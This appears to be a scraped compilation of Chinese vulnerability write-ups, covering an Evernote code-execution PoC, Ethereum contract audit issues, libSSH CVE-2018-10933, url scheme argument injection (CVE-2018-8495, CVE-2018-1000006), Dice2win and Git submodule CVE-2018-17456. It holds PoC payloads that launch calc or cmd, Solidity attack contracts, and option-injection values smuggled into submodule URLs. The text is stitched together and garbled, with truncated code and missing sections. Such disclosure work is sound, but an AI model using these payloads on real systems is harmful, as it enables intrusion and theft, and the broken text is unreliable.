for (var key in window.process.env) {
envPairs.push(key + '=' + window.process.env[key]);
}
args = [];

const options = {
file: 'C:\\\\Windows\\system32\\calc.exe',
args: args,
envPairs: envPairs,
stdio: [
{ type: 'pipe', readable: true, writable: false },
{ type: 'pipe', readable: false, writable: true },
{ type: 'pipe', readable: false, writable: true }
]
};
spawn_sync.spawn(options);
}
catch(err){
}```

## 0x07 时间线

2018/09/27，发现相关漏洞，攥写报告并发送至 `security@evernote.com`
2018/09/27，官方确认漏洞
2018/10/15，官方在 beta 版本 6.16.1 https://discussion.evernote.com/topic/116650-evernote-for-windows-616-beta-1/ 中修复相关漏洞，并将我的名字加入名人堂。
2018/10/19，在和官方沟通后，自行申请CVE，编号为：CVE-2018-18524
2018/11/05，Evernote 官方发布 正式版本 6.16.4，确认该漏洞被修复后公开漏洞细节。

##### 以太坊合约审计 CheckList 之“以太坊智能合约编码隐患”影响分析报告
Elfinx 2018-11-6 2:30 转存

### 一、简介

“昊天塔(HaoTian)”是知道创宇404区块链安全研究团队独立开发的用于监控、扫描、分析、审计区块链智能合约安全自动化平台，目前已经集成了部分基于opcode的审计功能。我们利用该平台针对上述提到的《知道创宇以太坊合约审计CheckList》中“以太坊智能合约编码隐患”类问题在全网公开的智能合约代码做了扫描分析。详见下文：

### 二、漏洞详情

#### 1、语法特性

```uint x = 5 / 2; // 2

uint multiplier = 10;
uint x = (5 * multiplier) / 2;```

#### 3、数据可靠性

```uint someVariable = now + 1;

if (now % 2 == 0) { // now可能被矿工控制

}```

now、block_timestamp会被矿工所控制，并不可靠。

#### 4、gas消耗优化

```contract EUXLinkToken is ERC20 {
using SafeMath for uint256;
mapping (address =&gt; bool) public blacklist;
string public constant name = "xx";
string public constant symbol = "xxx";
uint public constant decimals = 8;
uint256 public totalSupply = 1000000000e8;
uint256 public totalDistributed = 200000000e8;
uint256 public totalPurchase = 200000000e8;
uint256 public totalRemaining = totalSupply.sub(totalDistributed).sub(totalPurchase);
uint256 public value = 5000e8;
uint256 public purchaseCardinal = 5000000e8;
uint256 public minPurchase = 0.001e18;
uint256 public maxPurchase = 10e18;```

#### 5、合约用户

```contract Auction{
uint256 public hidghestBid;
function bid() public payable {
require(msg.value &gt; highestBid);
}
}```

```contract Attack {
function () { revert(); }
_target.call.value(msg.value)(bytes4(keccak256("bid()")));
}
}```

#### 6、日志记录

```fonction transferOwnership(address newOwner) onlyOwner public {
ownner = newOwner;
emit OwnershipTransferred(owner, newowner);
}```

#### 7、回调函数

fallback机制是基于智能合约的特殊性而存在的。对于智能合约来说，任何函数的执行都是通过交易来完成的，但函数的执行过程中可能会遇到各种各样的问题，在交易失败或者交易结束后，就会执行fallback来最后处理结果和返回。

```function() payable { LogDepositReceived(msg.sender); }
function() public payable{ revert();};```

#### 8、Owner权限

```function destroy() onlyOwner public onlyOwner{
selfdestruct(owner);
}```

#### 9、用户鉴权问题

tx.origin代表最初始的地址，如果用户a通过合约b调用了合约c，对于合约c来说，tx.origin就是用户a，而msg.sender才是合约b，对于鉴权来说，这是十分危险的，这代表着可能导致的钓鱼攻击。

```pragma solidity &gt;0.4.24;
// THIS CONTRACT CONTAINS A BUG - DO NOT USE
contract TxUserWallet {
constructor() public {
owner = msg.sender;
}
function transferTo(address dest, uint amount) public {
require(tx.origin == owner);
dest.transfer(amount);
}
}```

```<span class="nx">pragma</span> <span class="nx">solidity</span> <span class="o">&gt;</span><span class="mf">0.4</span><span class="p">.</span><span class="mi">24</span><span class="p">;</span>
<span class="kr">interface</span> <span class="nx">TxUserWallet</span> <span class="p">{</span>
<span class="kd">function</span> <span class="nx">transferTo</span><span class="p">(</span><span class="nx">address</span> <span class="nx">dest</span><span class="p">,</span> <span class="nx">uint</span> <span class="nx">amount</span><span class="p">)</span> <span class="nx">external</span><span class="p">;</span>
<span class="p">}</span>
<span class="nx">contract</span> <span class="nx">TxAttackWallet</span> <span class="p">{</span>
<span class="kr">constructor</span><span class="p">()</span> <span class="kr">public</span> <span class="p">{</span>
<span class="nx">owner</span> <span class="o">=</span> <span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">;</span>
<span class="p">}</span>
<span class="kd">function</span><span class="p">()</span> <span class="nx">external</span> <span class="p">{</span>
<span class="nx">TxUserWallet</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">).</span><span class="nx">transferTo</span><span class="p">(</span><span class="nx">owner</span><span class="p">,</span> <span class="nx">msg</span><span class="p">.</span><span class="nx">sender</span><span class="p">.</span><span class="nx">balance</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>```

### 四、修复方式

#### 1、语法特性

```uint multiplier = 10;
uint x = (5 * multiplier) / 2;```

#### 6、日志记录

```fonction transferOwnership(address newOwner) onlyOwner public {
ownner = newOwner;
emit OwnershipTransferred(owner, newowner);
}```

#### 8、Owner权限问题

1. 合约创造后，任何人不能改变合约规则，包括规则参数大小等
2. 只允许owner在合约销毁前，从合约中提取余额
3. owner不能在未限制的情况下操作其他用户的余额等

### 五、一些思考

##### libSSH 认证绕过漏洞(CVE-2018-10933)分析
Elfinx 2018-10-22 3:54 转存

### 前言

360发了一篇分析文章，有getshell的图：[2]

Python版本的PoC到Github上搜一下就有了：[3]

### 环境

libSSH-0.7.5源码下载地址: [4]

PS: 缺啥依赖自己装，没有当初的编译记录了，也懒得再来一遍

```\$ tar -xf libssh-0.7.5.tar.xz
\$ cd libssh-0.7.5
\$ mkdir build
\$ cd build
\$ cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug ..
\$ make```

PS: 修改完源码后记得再执行一次make

### 漏洞分析

`1121        r=cb-&gt;callbacks[type - cb-&gt;start](session,type,session-&gt;in_buffer,cb-&gt;user);`

PS: 我们可以进入该数组中的任意函数，但是看了下其他函数，也没法getshell

```ssh_packet_userauth_request -&gt;
ssh_message_queue -&gt;
ssh_execute_server_callbacks -&gt;
ssh_execute_server_request -&gt;
session-&gt;server_callbacks-&gt;userdata);```

```// examples/ssh_server_fork.c
......
514    struct ssh_server_callbacks_struct server_cb = {
515        .userdata = &amp;sdata,
517        .channel_open_request_session_function = channel_open,
518    };
519    ssh_callbacks_init(&amp;server_cb);
520    ssh_callbacks_init(&amp;channel_cb);
521    ssh_set_server_callbacks(session, &amp;server_cb);
......```

```// examples/ssh_server_fork.c

static int auth_password(ssh_session session, const char *user,
const char *pass, void *userdata) {
struct session_data_struct *sdata = (struct session_data_struct *) userdata;
(void) session;
if (strcmp(user, USER) == 0 &amp;&amp; strcmp(pass, PASS) == 0) {
sdata-&gt;authenticated = 1;
return SSH_AUTH_SUCCESS;
}
sdata-&gt;auth_attempts++;
return SSH_AUTH_DENIED;
}```

```ssh_message_auth_reply_success -&gt;
994  session-&gt;session_state = SSH_SESSION_STATE_AUTHENTICATED;
995  session-&gt;flags |= SSH_SESSION_FLAG_AUTHENTICATED;```

```ssh_packet_userauth_success:
SSH_LOG(SSH_LOG_DEBUG, "Authentication successful");
session-&gt;auth_state=SSH_AUTH_STATE_SUCCESS;
session-&gt;session_state=SSH_SESSION_STATE_AUTHENTICATED;
session-&gt;flags |= SSH_SESSION_FLAG_AUTHENTICATED;```

### 研究不能getshell之谜

```166        case SSH_REQUEST_CHANNEL:
channel = msg-&gt;channel_request.channel;
if (msg-&gt;channel_request.type == SSH_CHANNEL_REQUEST_PTY &amp;&amp;
ssh_callbacks_exists(channel-&gt;callbacks, channel_pty_request_function)) {
rc = channel-&gt;callbacks-&gt;channel_pty_request_function(session, channel,
msg-&gt;channel_request.TERM,
msg-&gt;channel_request.width, msg-&gt;channel_request.height,
msg-&gt;channel_request.pxwidth, msg-&gt;channel_request.pxheight,
channel-&gt;callbacks-&gt;userdata);
if (rc == 0) {
} else {
}
return SSH_OK;```

```530    ssh_set_auth_methods(session, SSH_AUTH_METHOD_PASSWORD);
532    n = 0;
533    while (sdata.authenticated == 0 || sdata.channel == NULL) {
534        /* If the user has used up all attempts, or if he hasn't been able to
535         * authenticate in 10 seconds (n * 100ms), disconnect. */
536        if (sdata.auth_attempts &gt;= 3 || n &gt;= 100) {
537            return;
538        }
539        if (ssh_event_dopoll(event, 100) == SSH_ERROR) {
540            fprintf(stderr, "%s\n", ssh_get_error(session));
541            return;
542        }
543        n++;
544    }
545    ssh_set_channel_callbacks(sdata.channel, &amp;channel_cb);```

1.删除`sdata.authenticated`变量

```533    while (sdata.channel == NULL) {
......
544    }```

2.把channel添加回调函数的代码移到循环之前

```530    ssh_set_auth_methods(session, SSH_AUTH_METHOD_PASSWORD);
532    ssh_set_channel_callbacks(sdata.channel, &amp;channel_cb);
533    n = 0;
534    while (sdata.authenticated == 0 || sdata.channel == NULL) {
......```

### 总结

```SSH_CHANNEL_REQUEST_PTY
SSH_CHANNEL_REQUEST_SHELL
SSH_CHANNEL_REQUEST_X11
SSH_CHANNEL_REQUEST_WINDOW_CHANGE
SSH_CHANNEL_REQUEST_EXEC
SSH_CHANNEL_REQUEST_ENV
SSH_CHANNEL_REQUEST_SUBSYSTEM```

### 引用

##### 从 CVE-2018-8495 看 PC 端 url scheme 的安全问题
Elfinx 2018-10-19 8:50 转存

### 0x00 前言

`url scheme` 也称为 `url protocol``url handler`，本文使用 `url scheme` 这个名称。

url scheme工作流程

### 0x02 创建 url scheme

```HKEY_CLASSES_ROOT
calc
(Default) = "URL:Calc Protocol"
URL Protocol = ""
DefaultIcon
(Default) = "C:\Windows\System32\calc.exe,1"
shell
open
command
(Default) = "C:\Windows\System32\calc.exe" "%1"```

### 0x04 操作系统的问题

`mailto:test%../../../../windows/system32/calc.exe".cmd`

### 0x05 浏览器的参数注入

2018 年，在 `url scheme` 的安全问题中，有两个问题是由于 Windows 下的 IE 和 Edge 参数注入引发的，其中一个是 Electron 自定义协议命令注入(CVE-2018-1000006)，另一个是 Edge 远程代码执行(CVE-2018-8495)。

Electron 自定义协议命令注入

2018 年 1 月，Electron 发布了由自定义协议而导致命令注入的安全公告(CVE-2018-1000006)，由于参数注入而引发的问题，构造的 PoC 如下：

`chybeta://?" "--no-sandbox" "--gpu-launcher=cmd.exe /c start calc`

`electron.exe "//?" "--no-sandbox" "--gpu-launcher=cmd.exe /c start calc"`

Edge 远程代码执行

2018 年 10 月，Edge 公开了远程代码执行的安全公告(CVE-2018-8495)，同样也是利用参数注入，最终达到了远程代码执行的效果；整个利用过程颇具巧妙性，本文对此进行详细的分析。

```C:\Windows\WinSxS\amd64_microsoft-windows-a..nagement-appvclient_

```psCmd = "powershell.exe -NonInteractive -WindowStyle
Hidden-ExecutionPolicy RemoteSigned -Command &amp;{" &amp; syncCmd &amp; "}"```

```&lt;a id="q" href='wshfile:test/../../WinSxS/AMD921~1.48_/SyncAppvPublishingServer.vbs" test test;calc;"'&gt;test&lt;/a&gt;
&lt;script&gt;
window.onkeydown=e=&gt;{
window.onkeydown=z={};
q.click()
}
&lt;/script&gt;```

```1.wshfile
2.wsffile
3.vbsfile
4.vbefile
5.jsefile```

### 0x06 应用程序的问题

2017 年 12 月，macOS 上的 helpViewer 应用程序被公开由 XSS 造成文件执行的漏洞(CVE-2017-2361)，影响 macOS Sierra 10.12.1 以下的版本；该漏洞同样也利用了 `url scheme`，攻击者可以构造恶意页面，从而发动远程攻击。这是典型的由于应用程序所导致的 `url scheme` 安全问题。

```document.location = "help:///Applications/Safari.app/Contents/
Resources/Safari.help/%25252f..%25252f..%25252f..%25252f..%25252f..%25252f..
%25252f/System/Library/PrivateFrameworks/Tourist.framework/Versions/A/

1. 利用 `url scheme` 中的 help 协议打开应用程序 Safari.help
2. 使用双重 url 编码绕过 helpViewer 对路径的检查，打开一个可以执行 JavaScript 的页面
3. 使用 helpViewer 的内置协议 `x-help-script` 打开应用程序(PoC不包含)

### 0x07 总结

`url scheme` 功能的便捷性得力于操作系统、浏览器(或其他支持 url 的应用)以及应用程序三方的相互支持；要保证 `url scheme` 功能安全可靠，就必须牢牢把关这三方的安全。

References:

##### 智能合约游戏之殇——Dice2win安全分析
Elfinx 2018-10-19 2:42 转存

《智能合约游戏之殇——类 Fomo3D 攻击分析》
《智能合约游戏之殇——God.Game 事件分析》
Dice2win是目前以太坊上很火爆的区块链博彩游戏，其最大的特点就是理论上的公平性保证，每天有超过1000以太币被人们投入到这个游戏中。

Dice2win官网

Dice2win合约代码

dice2win的游戏非常简单，就是一个赌概率的问题。

2018年9月21日，我在《以太坊合约审计 CheckList 之“以太坊智能合约编码设计问题”影响分析报告》中提到了以太坊智能合约中存在一个弱随机数问题，里面提到dice2win的合约中实现了一个很好的随机数生成方案hash-commit-reveal

2018年10月12日，Zhiniang Peng from Qihoo 360 Core Security发表了《Not a fair game, Dice2win 公平性分析》，里面提到了关于Dice2win的3个安全问题。

### Dice2win安全性分析

#### 选择中止攻击

```function placeBet(uint betMask, uint modulo, uint commitLastBlock, uint commit, bytes32 r, bytes32 s) external payable {
// Check that the bet is in 'clean' state.
Bet storage bet = bets[commit];
require (bet.gambler == address(0), "Bet should be in a 'clean' state.");

// Validate input data ranges.
uint amount = msg.value;
require (modulo &gt; 1 &amp;&amp; modulo &lt;= MAX_MODULO, "Modulo should be within range.");
require (amount &gt;= MIN_BET &amp;&amp; amount &lt;= MAX_AMOUNT, "Amount should be within range.");

// Check that commit is valid - it has not expired and its signature is valid.
require (block.number &lt;= commitLastBlock, "Commit has expired.");
bytes32 signatureHash = keccak256(abi.encodePacked(uint40(commitLastBlock), commit));
require (secretSigner == ecrecover(signatureHash, 27, r, s), "ECDSA signature is not valid.");

uint rollUnder;

// Small modulo games specify bet outcomes via bit mask.
// rollUnder is a number of 1 bits in this mask (population count).
// This magic looking formula is an efficient way to compute population
// count on EVM for numbers below 2**40. For detailed proof consult
// the dice2.win whitepaper.
} else {
// Larger modulos specify the right edge of half-open interval of
// winning bet outcomes.
}

// Winning amount and jackpot increase.
uint possibleWinAmount;
uint jackpotFee;

(possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder);

// Enforce max profit limit.
require (possibleWinAmount &lt;= amount + maxProfit, "maxProfit limit violation.");

// Lock funds.
lockedInBets += uint128(possibleWinAmount);
jackpotSize += uint128(jackpotFee);

// Check whether contract has enough funds to process this bet.
require (jackpotSize + lockedInBets &lt;= address(this).balance, "Cannot afford to lose this bet.");

// Record commit in logs.
emit Commit(commit);

// Store bet parameters on blockchain.
bet.amount = amount;
bet.modulo = uint8(modulo);
bet.rollUnder = uint8(rollUnder);
bet.placeBlockNumber = uint40(block.number);
bet.gambler = msg.sender;
}

// This is the method used to settle 99% of bets. To process a bet with a specific
// "commit", settleBet should supply a "reveal" number that would Keccak256-hash to
// "commit". "blockHash" is the block hash of placeBet block as seen by croupier; it
// is additionally asserted to prevent changing the bet outcomes on Ethereum reorgs.
function settleBet(uint reveal, bytes32 blockHash) external onlyCroupier {
uint commit = uint(keccak256(abi.encodePacked(reveal)));

Bet storage bet = bets[commit];
uint placeBlockNumber = bet.placeBlockNumber;

// Check that bet has not expired yet (see comment to BET_EXPIRATION_BLOCKS).
require (block.number &gt; placeBlockNumber, "settleBet in the same block as placeBet, or before.");
require (block.number &lt;= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
require (blockhash(placeBlockNumber) == blockHash);

// Settle bet using reveal and blockHash as entropy sources.
settleBetCommon(bet, reveal, blockHash);
}```

1. 用户选择好自己的下注方式，确认好后点击下注按钮。
2. 服务端生成随机数reveal，生成本次赌博的随机数hash信息，有效最大blockNumber，并将这些数据进行签名，并将commit和信息签名传给用户。
4. 服务端在一段时间之后，将带有随机数和服务端执行settlebet开奖

#### 选择开奖攻击

MerikleProofi方法核心在于，无论是否分叉，该分块是否会被废弃，Dice2win都认可这次交易。当服务端接收到一个下注交易（placebet）时，立刻对该区块开奖。

MerikleProofi 的commit

1. Dice2win需要有一定算力的矿池才能主动影响链上的区块打包，但大部分算力仍然掌握在公开的矿池手中。所以这种攻击方式不适用于主动攻击。
2. 被动的遇到分叉情况并不会太多，尤其是遇到了打包了placebet的区块，该区块的hash只是多了选择，仍然是不可控的，大概率多种情况结果都是一致的。

#### 任意开奖攻击（Merkle proof验证绕过）

1、Dice2win是一个不断更新的合约，存在多个版本。但其中决定庄家身份的secretSigner值存在多个版本相同的问题，导致同一个签名可以在多个合约中使用。

3、Merkle proof边界检查不严格。

https://github.com/dice2-win/contracts/commit/b0a0412f0301623dc3af2743dcace8e86cc6036b

4、settleBet 权限问题

#### refundBet下溢

1. 攻击者a下注placebet，并获得commit
2. 某个好运的用户在a下注开奖前拿走了大奖
3. 攻击者调用refundBet退款
4. jackpotSize成功溢出

### 总结

hash-commit-reveal方法的基础上，只要服务端不能即时响应开奖，选择中止攻击就始终存在。有趣的是Dice2win合约中试图实现的Merkle proof功能初衷是为了更快的开奖，但反而却在一定程度上减少了选择中止攻击的可能性。

##### Git Submodule 漏洞(CVE-2018-17456)分析
Elfinx 2018-10-18 2:46 转存

### 研究分析

```\$ git --version
git version <span class="m">2</span>.19.0.271.gfe8321e.dirty
\$ mkdir evilrepo
\$ <span class="nb">cd</span> evilrepo/
\$ git init .
Initialized empty Git repository in /home/ubuntu/evilrepo/.git/
\$ git submodule add https://github.com/Hcamael/hello-world.git test1
Cloning into <span class="s1">'/home/ubuntu/evilrepo/test1'</span>...
remote: Enumerating objects: <span class="m">3</span>, <span class="k">done</span>.
remote: Counting objects: <span class="m">100</span>% <span class="o">(</span><span class="m">3</span>/3<span class="o">)</span>, <span class="k">done</span>.
remote: Total <span class="m">3</span> <span class="o">(</span>delta <span class="m">0</span><span class="o">)</span>, reused <span class="m">0</span> <span class="o">(</span>delta <span class="m">0</span><span class="o">)</span>, pack-reused <span class="m">0</span>
Unpacking objects: <span class="m">100</span>% <span class="o">(</span><span class="m">3</span>/3<span class="o">)</span>, <span class="k">done</span>.
\$ cat .gitmodules
<span class="o">[</span>submodule <span class="s2">"test1"</span><span class="o">]</span>
<span class="nv">path</span> <span class="o">=</span> test1
<span class="nv">url</span> <span class="o">=</span> https://github.com/Hcamael/hello-world.git```

```\$ cat .gitmodules
<span class="o">[</span>submodule <span class="s2">"test1"</span><span class="o">]</span>
<span class="nv">path</span> <span class="o">=</span> test1
<span class="nv">url</span> <span class="o">=</span> -test
\$ rm -rf .git/modules/test1/
\$ rm test1/.git

\$ cat .git/config
<span class="o">[</span>core<span class="o">]</span>
<span class="nv">repositoryformatversion</span> <span class="o">=</span> <span class="m">0</span>
<span class="nv">filemode</span> <span class="o">=</span> <span class="nb">true</span>
<span class="nv">bare</span> <span class="o">=</span> <span class="nb">false</span>
<span class="nv">logallrefupdates</span> <span class="o">=</span> <span class="nb">true</span>

\$ cat .git/config
<span class="o">[</span>core<span class="o">]</span>
<span class="nv">repositoryformatversion</span> <span class="o">=</span> <span class="m">0</span>
<span class="nv">filemode</span> <span class="o">=</span> <span class="nb">true</span>
<span class="nv">bare</span> <span class="o">=</span> <span class="nb">false</span>
<span class="nv">logallrefupdates</span> <span class="o">=</span> <span class="nb">true</span>
<span class="o">[</span>submodule <span class="s2">"test1"</span><span class="o">]</span>
<span class="nv">active</span> <span class="o">=</span> <span class="nb">true</span>
<span class="nv">url</span> <span class="o">=</span> -test
\$ <span class="nv">GIT_TRACE</span><span class="o">=</span><span class="m">1</span> git submodule update --init```

```git.c:415               trace: built-in: git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 -test /home/ubuntu/evilrepo/test1
error: unknown switch `t'```

```\$ cat .git/config
<span class="o">[</span>core<span class="o">]</span>
<span class="nv">repositoryformatversion</span> <span class="o">=</span> <span class="m">0</span>
<span class="nv">filemode</span> <span class="o">=</span> <span class="nb">true</span>
<span class="nv">bare</span> <span class="o">=</span> <span class="nb">false</span>
<span class="nv">logallrefupdates</span> <span class="o">=</span> <span class="nb">true</span>
<span class="o">[</span>submodule <span class="s2">"test1"</span><span class="o">]</span>
<span class="nv">active</span> <span class="o">=</span> <span class="nb">true</span>
<span class="nv">url</span> <span class="o">=</span> -te st

\$ <span class="nv">GIT_TRACE</span><span class="o">=</span><span class="m">1</span> git submodule update --init
.....
git.c:415               trace: built-in: git submodule--helper clone --path test1 --name test1 --url <span class="s1">'-te st'</span>
.....
git.c:415               trace: built-in: git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 <span class="s1">'-te st'</span> /home/ubuntu/evilrepo/test1
.....```

`static const char ok_punct[] = "+,-./:=@_^";`

#### git submodule机制简单讲解

```<span class="k">[submodule "test1"]</span>
<span class="na">path</span> <span class="o">=</span> <span class="s">test2</span>
<span class="s">    url = test3</span>```

`test1`表示的是submodule name，使用的参数是`--name`，子项目`.git`目录的数据会被储存到`.git/modules/test1/`目录下

`test2`表示的是子项目储存的路径，表示子项目的内容将会被储存到`./test2/`目录下

`test3`这个就很好理解，就是子项目的远程地址，如果是本地路径，就是拉去本地源

```\$ cat test2/.git
gitdir: ../.git/modules/test1```

(我个人体会，可以看成是Linux下的软连接)

`url = --template=./template`

```\$ mkdir -p fq/hook
\$ cat fq/hook/post-checkout
<span class="c1">#!/bin/sh</span>

date
<span class="nb">echo</span> <span class="s1">'PWNED'</span>
\$ chmod +x fq/hook/post-checkout
\$ ll
total <span class="m">24</span>
drwxrwxr-x  <span class="m">5</span> ubuntu ubuntu <span class="m">4096</span> Oct <span class="m">12</span> <span class="m">16</span>:48 ./
drwxr-xr-x <span class="m">16</span> ubuntu ubuntu <span class="m">4096</span> Oct <span class="m">12</span> <span class="m">16</span>:48 ../
drwxrwxr-x  <span class="m">3</span> ubuntu ubuntu <span class="m">4096</span> Oct <span class="m">12</span> <span class="m">16</span>:47 fq/
drwxrwxr-x  <span class="m">8</span> ubuntu ubuntu <span class="m">4096</span> Oct <span class="m">12</span> <span class="m">15</span>:59 .git/
-rw-rw-r--  <span class="m">1</span> ubuntu ubuntu   <span class="m">57</span> Oct <span class="m">12</span> <span class="m">16</span>:48 .gitmodules
drwxrwxr-x  <span class="m">2</span> ubuntu ubuntu <span class="m">4096</span> Oct <span class="m">12</span> <span class="m">16</span>:46 test2/
\$ cat .gitmodules
<span class="o">[</span>submodule <span class="s2">"test1"</span><span class="o">]</span>
<span class="nv">path</span> <span class="o">=</span> test2
<span class="nv">url</span> <span class="o">=</span> --template<span class="o">=</span>./fq
\$ <span class="nv">GIT_TRACE</span><span class="o">=</span><span class="m">1</span> git submodule update --init```

```git.c:415               trace: built-in: git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 --template=./fq /home/ubuntu/evilrepo/test2
fatal: repository '/home/ubuntu/evilrepo/test2' does not exist
fatal: clone of '--template=./fq' into submodule path '/home/ubuntu/evilrepo/test2' failed```

`git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/{name} {url} /home/ubuntu/evilrepo/{path}`

`git.c:415               trace: built-in: git submodule--helper clone --path test2 --name test1 --url --template=./fq`

`git submodule--helper clone --path {path} --name {name} --url {url}`

path, name, url都是我们可控的，但是都存在过滤，过滤规则同上面说的url白名单过滤规则。

```git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/{name} {url} /home/ubuntu/evilrepo/{path}

sm_gitdir = absolute_pathdup(sb.buf);```

`/home/ubuntu/evilrepo/.git/modules/{name}`路径是直接使用上面代码进行拼接，也找不到绕过的方法

```if (!is_absolute_path(path)) {
path = strbuf_detach(&amp;sb, NULL);
} else
path = xstrdup(path);```

### RCE

```if (!is_absolute_path(path)) {
path = strbuf_detach(&amp;sb, NULL);
} else
path = xstrdup(path);```

`\$ git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 --template<span class="o">=</span>./fq git@github.com:Hcamael/hello-world.git`